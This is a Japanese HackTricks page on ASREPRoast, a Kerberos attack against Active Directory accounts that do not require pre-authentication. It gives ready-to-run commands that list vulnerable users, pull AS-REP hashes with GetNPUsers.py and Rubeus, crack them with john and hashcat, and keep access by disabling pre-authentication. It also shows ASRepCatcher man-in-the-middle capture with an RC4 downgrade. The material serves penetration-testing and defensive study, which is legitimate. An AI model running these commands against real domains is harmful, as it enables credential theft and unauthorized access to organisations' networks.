4.3 KiB
Raw Blame History

ASREPRoast

{{#include ../../banners/hacktricks-training.md}}

ASREPRoast

ASREPRoastは、Kerberos事前認証必須属性が欠如しているユーザーを悪用するセキュリティ攻撃です。本質的に、この脆弱性により、攻撃者はユーザーのパスワードを必要とせずにドメインコントローラーDCからユーザーの認証を要求できます。DCは、その後、ユーザーのパスワード派生キーで暗号化されたメッセージで応答し、攻撃者はオフラインでクラックを試みてユーザーのパスワードを発見することができます。

この攻撃の主な要件は次のとおりです:

  • Kerberos事前認証の欠如:ターゲットユーザーは、このセキュリティ機能が有効になっていない必要があります。
  • ドメインコントローラーDCへの接続攻撃者は、リクエストを送信し、暗号化されたメッセージを受信するためにDCにアクセスする必要があります。
  • オプションのドメインアカウントドメインアカウントを持つことで、攻撃者はLDAPクエリを通じて脆弱なユーザーをより効率的に特定できます。そのようなアカウントがない場合、攻撃者はユーザー名を推測しなければなりません。

脆弱なユーザーの列挙(ドメイン資格情報が必要)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

AS_REPメッセージのリクエスト

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Warning

AS-REP Roasting with Rubeus は、暗号化タイプ 0x17 および プリアuthタイプ 0 の 4768 を生成します。

クラッキング

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

GenericAll 権限(またはプロパティを書き込む権限)があるユーザーに対して preauth を強制する必要はありません。

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

ASREProast without credentials

攻撃者は、Kerberosの事前認証が無効になっていることに依存せず、ネットワークを横断するAS-REPパケットをキャプチャするために中間者の位置を利用できます。したがって、VLAN上のすべてのユーザーに対して機能します。
ASRepCatcher は、これを可能にします。さらに、このツールはKerberosの交渉を変更することによって、クライアントワークステーションにRC4を使用させることを強制します。

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

参考文献


{{#include ../../banners/hacktricks-training.md}}